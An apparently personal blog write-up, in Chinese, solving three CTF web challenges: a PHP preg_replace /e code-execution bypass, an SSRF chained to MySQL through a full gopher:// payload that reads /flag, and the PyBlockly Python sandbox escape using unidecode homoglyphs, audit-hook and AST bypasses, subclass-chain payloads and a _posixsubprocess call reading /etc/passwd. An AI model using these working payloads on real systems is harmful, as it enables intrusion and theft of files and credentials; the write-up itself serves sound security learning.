其他题1


简单的RCE

<?php

if($_GET['moran'] === 'flag'){

  highlight_file(__FILE__);

  if(isset($_POST['task'])&&isset($_POST['flag'])){$str1 = $_POST['task'];$str2 = $_POST['flag'];if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
#由下可知要执行$_POST['task']要有please_give_me_flag,而且preg_match有i的!(无大小写限制,故混写即可绕过)且某字符串正好长19(die('hacker!');}else{preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);#在字符串 $_POST['flag'] 中查找所有与正则表达式 /please_give_me_flag/ 匹配的部分,然后将这些匹配部分替换为 $_POST['task'] 的值。因为/e,$_POST['task']被当作 PHP 代码执行.}

  }

}else{

  echo "moran want a flag.</br>(?moran=flag)";

} 

看到/e知道会执行任意 PHP 代码(遇到一个相同的题在第二页,所以这就不放相关了

还有一点要记得php版本低点(是谁一开始用的7.3.4我不说

在 PHP 7.0.0 及之后的版本中,preg_replace 函数的 /e 修饰符被彻底移除。如果在这些版本中使用 /e 修饰符,会导致 E_COMPILE_ERROR 错误,代码将无法正常运行。

flag=please_Give_me_flag&task=phpinfo()可以先测试一下(

可的(

浅贴一篇喵绕过PHP正则表达式 - willingyut - 博客园

task=$_POST[1]($_POST[2]);&flag=Please_give_me_flag&1=system&2=tac /f*   //tac 则按行逆序输出文件内容
task=var_dump(file_get_contents(hex2bin("2f666c6167")));&flag=please_Give_me_flag
flag=please_give_me_flaG&task=print(file_get_contents("\x2f\x66\x6c\x61\x67"));
...
scandir 函数用于列出指定目录中的文件和文件夹var_dump(scandir(chr(47)));读取根目录

EasySignin

尝试注册admin被告知用户名已存在,故想登录admin

注册一个在改密码界面改一下

admin不为人知的图片竟是!

发现/getpicture.php?url=

手把手带你用 SSRF 打穿内网 | 国光

?url=https://www.baidu.com/robots.txt

User-agent: Baiduspider
Disallow: /baidu
Disallow: /s?
Disallow: /ulink?
Disallow: /link?
Disallow: /home/news/data
Disallow: /bh
...

?url=127.0.0.1
<!DOCTYPE html>
<html lang="zh-CN"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
...

存在ssrf漏洞

?url=file:///etc/passwd

<img src="data:image/jpeg;base64,bm9ub25v" width="20" alt="图片">
nonono

(被狠狠拒绝了

探一下端口喵

GET /getpicture.php?url=127.0.0.1:8080 HTTP/1.1

抓到一个3306

WP%^-g����lV;@m%	mysql_native_password��Got packets out of order

mysql_native_password 是 MySQL 数据库中用于用户认证的一种插件。在 MySQL 里,用户登录数据库时需要进行身份验证,而认证插件就是负责完成这个验证过程的机制。mysql_native_password 是 MySQL 5.7 及之前版本中默认的认证插件

看来是默认,默认用户名是 root

MySQL:如果用户没有密码保护,您可以转储他的数据库,也可以将恶意文件放入他的系统中。

https://www.iamwawa.cn/urldecode.html(所以这么久之后还是用着最初的url编码网址吗。。。

一开始一直在查表查列,后来才想到flag是在文件夹里(

LOAD_FILE() 是 MySQL 内置的一个函数,用于读取指定路径下的文件内容并将其作为字符串返回。该函数需要有相应的文件读取权限,并且文件路径必须是绝对路径。

load_file在渗透过程中是读取文件,select load_file('/flag');就是读取mysql配置文件,flag又在根目录下

mysql注入读写文件 - 0x1e61 - 博客园

./gopherus.py --exploit mysql

?url=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%251b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%256c%256f%2561%2564%255f%2566%2569%256c%2565%2528%2527%252f%2566%256c%2561%2567%2527%2529%253b%2501%2500%2500%2500%2501 

flag{c8cfb052-cc9b-4b27-a9b9-b3ad7b93627b}

mysql那端口都是3306吗?Gopher也直接给的3306

各种常用的默认端口号 总结 - Magiclala - 博客园

看来确实


2024强网杯-PyBlockly

题目附件:

通过百度网盘分享的文件:PyBlockly_3c0f83fae6937f4147d3bc7ae…
链接:https://pan.baidu.com/s/1yC7afEWa1Rh1VCgIMf41Iw?pwd=6666
提取码:6666
–来自百度网盘超级会员V2的分享

PyBlockly_3c0f83fae6937f4147d3bc7ae84ce3e2.zip_免费高速下载|百度网盘-分享无限制

网上好心人的,感谢感谢!!!

这下可以狠狠启动了(

python app.py

哈哈,挺好玩的,我能玩儿一天(

from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

def module_exists(module_name):

    spec = importlib.util.find_spec(module_name)
    if spec is None:
        return False

    if module_name in sys.builtin_module_names:
        return True
  
    if spec.origin:
        std_lib_path = os.path.dirname(os.__file__)
      
        if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
            return True
    return False

def verify_secure(m):
    for node in ast.walk(m):
        match type(node):
            case ast.Import:  
                print("ERROR: Banned module ")
                return False
            case ast.ImportFrom: 
                print(f"ERROR: Banned module {node.module}")
                return False
    return True

def check_for_blacklisted_symbols(input_text):
    if re.search(blacklist_pattern, input_text):
        return True
    else:
        return False



def block_to_python(block):
    block_type = block['type']
    code = ''
  
    if block_type == 'print':
        text_block = block['inputs']['TEXT']['block']
        text = block_to_python(text_block)  #递归调用 block_to_python 函数将 text_block 转换为 Python 代码 text。
        code = f"print({text})"#使用了 Python 的 f-string 格式化字符串特性,其主要功能是生成一条 Python 的 print 函数调用语句
         
    elif block_type == 'math_number':
      
        if str(block['fields']['NUM']).isdigit():#当块类型为 math_number 时,检查 block 字典的 fields 键下的 NUM 键对应的值是否为数字。
#如果是数字,则将其转换为整数类型并赋值给 code;否则,将 code 置为空字符串。    
            code =  int(block['fields']['NUM']) 
        else:
            code = ''
    elif block_type == 'text':#如果包含黑名单符号,则将 code 置为空字符串;否则,使用 unidecode 函数将该值转换为 ASCII 字符串,并添加引号,赋值给 code。
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:
      
            code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"#函数unidecode.unidecode
    elif block_type == 'max':#从 block 字典的 inputs 键下的 A 和 B 键中分别获取对应的子块信息 a_block 和 b_block。
      
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)  
        b = block_to_python(b_block)
        code =  f"max({a}, {b})"

    elif block_type == 'min':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code =  f"min({a}, {b})"

    if 'next' in block:#Blockly 中的编程块可以按顺序连接形成一个序列,每个块通过 next 字段指向序列中的下一个块。
      
        block = block['next']['block']
      
        code +="\n" + block_to_python(block)+ "\n"
    else:
        return code 
    return code

def json_to_python(blockly_data):
    block = blockly_data['blocks']['blocks'][0]#json的blocks对象的属性blocks的数组的第一个

    python_code = ""
    python_code += block_to_python(block) + "\n"

      
    return python_code

def do(source_code):
    hook_code = '''#审计钩子audit hook绕过
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:#不允许event_name的长度大于4
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
    print(source_code)
    code = hook_code + source_code
    tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree): #AST沙箱绕过 
            with open("run.py", 'w') as f:
                f.write(code)      
            result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            os.remove('run.py')
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        os.remove('run.py')
        return "Timeout!"

@app.route('/')
def index():
    return app.send_static_file('index.html')

@app.route('/blockly_json', methods=['POST'])#接收了发给服务器/blockly_json路由的json
def blockly_json():
    blockly_data = request.get_data()
    print(type(blockly_data))
    blockly_data = json.loads(blockly_data.decode('utf-8'))
    print(blockly_data)
    try:
        python_code = json_to_python(blockly_data)#unidecode绕过
        return do(python_code)
    except Exception as e:
        return jsonify({"error": "Error generating Python code", "details": str(e)})
  
if __name__ == '__main__':
    app.run(host = '0.0.0.0')

截一个print的

由于在static文件夹的index.html在外部引用了俩js文件的链接,用yakit时前端一片空白就剩个按钮(哈哈无语

自己搞一个(绝对不会说自己是用ctrl c+v笨办法弄过来的

<script src="./static/blockly.min.js"></script>
<script src="./static/jquery-3.6.0.min.js"></script>

化简

{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":" "}}]}}   

#unidecode绕过

  • unidecode 是一个 Python 库,unidecode.unidecode() 函数用于将输入的 Unicode 字符串转换为近似的 ASCII 字符串。例如,将一些带重音符号的字母转换为对应的无重音字母,将中文等非 ASCII 字符转换为合适的 ASCII 表示(可能是拼音等)。

能不能cn统治世界啊受不了天天看English了,根本看不懂

unidecode,一个神奇的 Python 库! - Sitin - SegmentFault 思否

Unicode字符表

pyjail bypass-02 绕过基于字符串匹配的过滤 - DumKiy’s blog

𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗 𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻 𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_{|}~]”`

import re
import unidecode

def filter_surrogates(text):
    return re.sub(r'[\ud800-\udfff]', '', text)

def create_ascii_to_unicode_dict():
    ascii_to_unicode = {}
    for ascii_code in range(32, 127):
        ascii_char = chr(ascii_code)
        unicode_chars = set()
        for unicode_code in range(0x10000):
            unicode_char = chr(unicode_code)
            # 过滤代理字符
            clean_unicode_char = filter_surrogates(unicode_char)
            ascii_representation = unidecode.unidecode(clean_unicode_char)
            if ascii_representation == ascii_char and clean_unicode_char != ascii_char:
                unicode_chars.add(clean_unicode_char)
        if unicode_chars:
            ascii_to_unicode[ascii_char] = unicode_chars
    return ascii_to_unicode

mapping_dict = create_ascii_to_unicode_dict()
for ascii_char, unicode_chars in list(mapping_dict.items())[:10]:
    print(f"ASCII: {ascii_char}, Unicode: {', '.join(unicode_chars)}")
ASCII:  , Unicode:  ,  ,  ,  ,  ,  , ,  ,  ,  ,  ,  ,  ,  ,  , ⠀,  ,  , ፡
ASCII: !, Unicode: ǃ, ⠮, ៎, ❢, ﹗, ܄, ܃, !, ՜, ¡, ¬, ¬
ASCII: ", Unicode: Ҍ, ʺ, “, ❝, ‟, ❞, 々, ״, ”, ", ⠐, ⹂, 〃, ˝, ¨, ゝ, ˮ, ゞ, ҍ, ヾ, ヽ
ASCII: #, Unicode: ▫, ▌, █, ▣, ▁, ▮, ▧, ▪, ◷, ▯, ◶, ▬, ▤, ▰, ◩, ░, ▐, ■, ▨, ▓, ◳, ▅, ⠼, #, ▉, ▊, ▢, ▭, ▩, ◱, ◵, ♯, ▇, ▃, ۞, ◧, ▎, ■, ◫, ▆, ▦, ▄, ◨, ◲, ﹟, ▂, ▱, ◰, ▀, ▥, □, ◪, ▍, ▋, ◴, ▒, ▏
ASCII: $, Unicode: ﹩, $, ⠫
ASCII: %, Unicode: ﹪, %, ٪, ⁒, ⠩, ⸓
ASCII: &, Unicode: ⠯, ۽, ﹠, ϗ, &, ⁊
ASCII: ', Unicode: ઼, ٔ, ❜, ′, ՚, ׳, ʼ, ’, ٕ, ݂, ့, ⠄, ਼, ⸯ, ´, ˓, ฺ, ᾿, ᐞ, ´, ྰ, ়, ៜ, ऽ, ܐ, ઽ, أ, ᢩ, ٱ, ٵ, ʹ, ॒, ‛, ', ٳ, ଽ, ‘, Ъ, ᾽, ʹ, ʿ, འ, އ, ़, ˈ, ଼, ь, ॔, ъ, Ь, ॑, ٲ
ASCII: (, Unicode: ⠷, ⁽, ︵, (, ₍, ﹙
ASCII: ), Unicode: ⠾, Ↄ, ₎, ⁾, ), ﹚

好窒息。。。遂偷了一个别人的(

"!": "!",
 '"': """,
 "#": "#",
 "$": "$",
 "%": "%",
 "&": "&",
 "'": "'",
 "(": "(",
 ")": ")",
 "*": "*",
 "+": "+",
 ",": "❟",
 "-": "‐",
 ".": "․",
 "/": "╱",
 ":": "∶",
 ";": ";",
 "<": "˂",
 "=": "゠",
 ">": "˃",
 "?": "?",
 "@": "@",
 "[": "[",
 "]": "]",
 "\\": "\",
 "^": "⌃",
 "_": "‗",
 "`": "`",//测试了一下这个不行
 "{": "{",
 "|": "ǀ",
 "}": "}",
 "~": "~"
import re

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
def check_for_blacklisted_symbols(input_text):
    if re.search(blacklist_pattern, input_text):
        return True
    else:
        return False
    
word="!\"#$&'()*+❟‐╱∶․;?@[]‗{ǀ}~"

if not check_for_blacklisted_symbols(word):
    print("hello")
 
#hello

成功绕过

其实这么看来可以直接用全角字符进行绕过(忘了咩,跪

算了就酱吧(我们大冤种是酱的

#AST沙箱绕过 #审计钩子audit hook绕过

文章都有写,便不再赘述了

CTF Pyjail 沙箱逃逸原理合集 - DumKiy’s blog

值得注意(当然也能大致推测进而猜到

在最新的稳定版本Python3.12当中,我试了一下event_name=="eval",貌似不存在这个event_name,在我使用内置的eval函数时,它的event_name实际上是execcompileeval或者exec函数需要先经过complie函数把字符串编译为字节码或者AST对象,才能够执行)

pyjail bypass-08 绕过 AST 沙箱 - DumKiy’s blog

pyjail bypass-07 绕过 audit hook - DumKiy’s blog

唉,头大·虽然这三个是一个人写的吧(

一种是重写len函数

__builtins__.len = lambda x: 3
#__builtins__ 是 Python 解释器内置的一个模块对象,它包含了 Python 中所有的内置名称,像 len、print、int 等。在全局命名空间中,__builtins__ 实际上是指向 builtins 模块(Python 3)或者 __builtin__ 模块(Python 2)的引用
#len 原本是 Python 的内置函数,用于返回对象的长度。例如,对于列表、字符串、元组等可迭代对象,len() 会返回其包含的元素个数。
#lambda x: 3是一个匿名函数(lambda 函数),它接受一个参数 x,但无论传入什么参数,该函数都会返回整数 3。
#将 __builtins__ 模块中的 len 函数替换为了这个新定义的 lambda 函数。这意味着从这行代码执行之后,调用 len() 函数时,无论传入什么对象,都会返回 3
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"1';__builtins__.len = lambda x: 3;print(len('xaxaxa'))#"}}]}}(这时无print
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"1';‗‗builtins‗‗․len=lambda x∶ 3;print(len('xaxaxa'))#"}}]}}
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"1’;‗‗builtins‗‗․len=lambda x:3;print(len(‘xaxaxa’))#"}}]}} 
#rce用 ' 闭合,;分割,#注释

像’这种的用’或'都行,但_#=等还是用‗#=等,不是都全角的。。。有的不能如法炮制,这么看来还是用一开始的最合理。(到底是一个一个找出来的

{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"1';‗‗builtins‗‗․len=lambda x∶ 3;‗‗import‗‗("os")․system("whoami");#"}}]}}                             

okk

再照抄SSTIpayload即可

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
#首先,''.__class__.__base__ 会获取到 object 类,因为空字符串 '' 所属的类是 str,而 str 的基类是 object。接着,使用 __subclasses__() 方法获取 object 类的所有直接子类列表。之后,通过列表推导式筛选出类名为 _wrap_close 的类。再获取该类构造函数 __init__ 的全局命名空间 __globals__,从中找到 system 函数(一般是 os.system),最后调用该函数执行 ls 命令。
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"1';‗‗builtins‗‗․len=lambda x∶ 3;[ x․‗‗init‗‗․‗‗globals‗‗ for x in ''․‗‗class‗‗․‗‗base‗‗․‗‗subclasses‗‗() if x․‗‗name‗‗=="‗wrap‗close"][0]["system"]("ls")#"}}]}}   

用这个也行

__import__("builtins").len=lambda x: 3;print(__import__("os").system("ls"))
#__import__("os") 动态导入 os 模块,这是 Python 中用于与操作系统进行交互的标准模块。然后调用 os 模块的 system 函数,将字符串 "ls" 作为参数传入,从而执行系统的 ls 命令(在 Unix/Linux 系统中用于列出目录内容)。最后使用 print 函数输出 os.system 函数的返回值,该返回值通常是命令执行后的返回码。

{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"1';‗‗builtins‗‗․len=lambda x∶ 3;[ x․‗‗init‗‗․‗‗globals‗‗ for x in ''․‗‗class‗‗․‗‗base‗‗․‗‗subclasses‗‗() if x․‗‗name‗‗=="‗wrap‗close"][0]["system"]("ls ╱ ‐al")#"}}]}}     

在使用 ls -l 命令列出文件和目录详细信息时,会看到类似下面的输出:
-rwxr-xr-- 1 user group 1024 Jan 1 12:00 example.txt

这里 -rwxr-xr-- 就是权限信息,其具体含义为:

  • 第一个字符表示文件类型,- 表示普通文件,d 表示目录,l 表示符号链接等。
  • 接下来三个字符 rwx 是文件所有者(user)的权限,这里表示所有者具有读、写和执行权限。
  • 再接下来三个字符 r-x 是文件所属组(group)的权限,即所属组用户有读和执行权限,但没有写入权限。
  • 最后三个字符 r-- 是其他用户(others)的权限,意味着其他用户只有读取权限。

https://www.cnblogs.com/LINGX5/p/18387520

当然我肯定有权限(

就当我没权限(

find / -type f -perm -4000 2>/dev/null
  • 命令解释:
    • find:这是用于在文件系统中搜索文件的命令。
    • /:表示从根目录开始搜索。
    • -type f:指定只搜索普通文件。
    • -perm -4000:用于查找具有 SUID 权限的文件,4000 是 SUID 权限的八进制表示。
    • 2>/dev/null:将错误输出重定向到 /dev/null,这样可以忽略因权限不足而产生的错误信息。
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"1';‗‗builtins‗‗․len=lambda x∶ 3;[ x․‗‗init‗‗․‗‗globals‗‗ for x in ''․‗‗class‗‗․‗‗base‗‗․‗‗subclasses‗‗() if x․‗‗name‗‗=="‗wrap‗close"][0]["system"]("find ╱ ‐type f ‐perm ‐4000 2˃╱dev╱null")#"}}]}} 

dd 是一个在类 Unix 系统中用于复制文件并对原文件的内容进行转换和格式化处理的命令。其基本语法为 dd [选项],常见的选项有 if(输入文件)、of(输出文件)等。

很可惜我看了看我没用过dd(

dd if=/flag of=/dev/stdout
#if=/flag:if 是 input file 的缩写,此参数指定了输入文件的路径。在这个命令里,输入文件为 /flag,意味着 dd 命令会从 /flag 文件中读取数据。
#of=/dev/stdout:of 是 output file 的缩写,该参数指定了输出文件的路径。/dev/stdout 代表标准输出,也就是命令执行时,读取自 /flag 文件的数据会被输出到终端显示。

再把它塞到TEXT里就可了~(

另一种是用同是文中的_posixsubprocess 执行命令

{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"1';print(()․‗‗class‗‗․‗‗base‗‗․‗‗subclasses‗‗())#"}}]}}

爆了一堆。。。

import re

data='''[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class '_buffer_wrapper'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'sys.legacy_event_handler'>, <class 'InterpreterID'>, <class 'line_iterator'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'positions_iterator'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'typing.TypeAliasType'>, <class 'typing.Generic'>, <class 'typing.TypeVar'>, <class 'typing.TypeVarTuple'>, <class 'typing.ParamSpec'>, <class 'typing.ParamSpecArgs'>, <class 'typing.ParamSpecKwargs'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._WeakValueDictionary'>, <class '_frozen_importlib._BlockingOnManager'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class '_io._IOBase'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Buffer'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types._C'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib._abc.Loader'>, <class 'importlib.util._incompatible_extension_module_restrictions'>, <class '_distutils_hack._TrivialRe'>, <class '_distutils_hack.DistutilsMetaFinder'>, <class '_distutils_hack.shim'>]'''

data = str(data).replace('<','<').replace("'","'").replace('>',">")
userful_class = ['file','site._Printer','linecache', '_frozen_importlib.BuiltinImporter','os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
    for i in userful_class:
        if i in c:
            index = class_list.index(c)
            print(str(index) + ": " + c)

 
#一个筛选的脚本
'''116: _frozen_importlib._ModuleLock
117: _frozen_importlib._DummyModuleLock
118: _frozen_importlib._ModuleLockManager
118: _frozen_importlib._ModuleLockManager
119: _frozen_importlib.ModuleSpec
120: _frozen_importlib.BuiltinImporter
154: os._wrap_close
162: warnings.catch_warnings'''
1';import_ = ().__class__.__base__.__subclasses__()[120].load_module;_posixsubprocess = import_("_posixsubprocess");pipe = ().__class__.__base__.__subclasses__()[154].__init__.__globals__['pipe'];_posixsubprocess.fork_exec([b"/bin/cat",b"/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(pipe()), False, False,False, None, None, None, -1, None,False)#

先酱吧,有缘再补


可以我去搞一个dd然后再完善一些再试一遍,稍等(但是好懒。。。有缘再说吧


好像有两次,本次必做是否该叫unidecode专题(指指点点

还有两道以前发过

还是先把必做的发了吧https://qing777.pythonanywhere.com/,无事一身轻,其他的再说吧。



文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录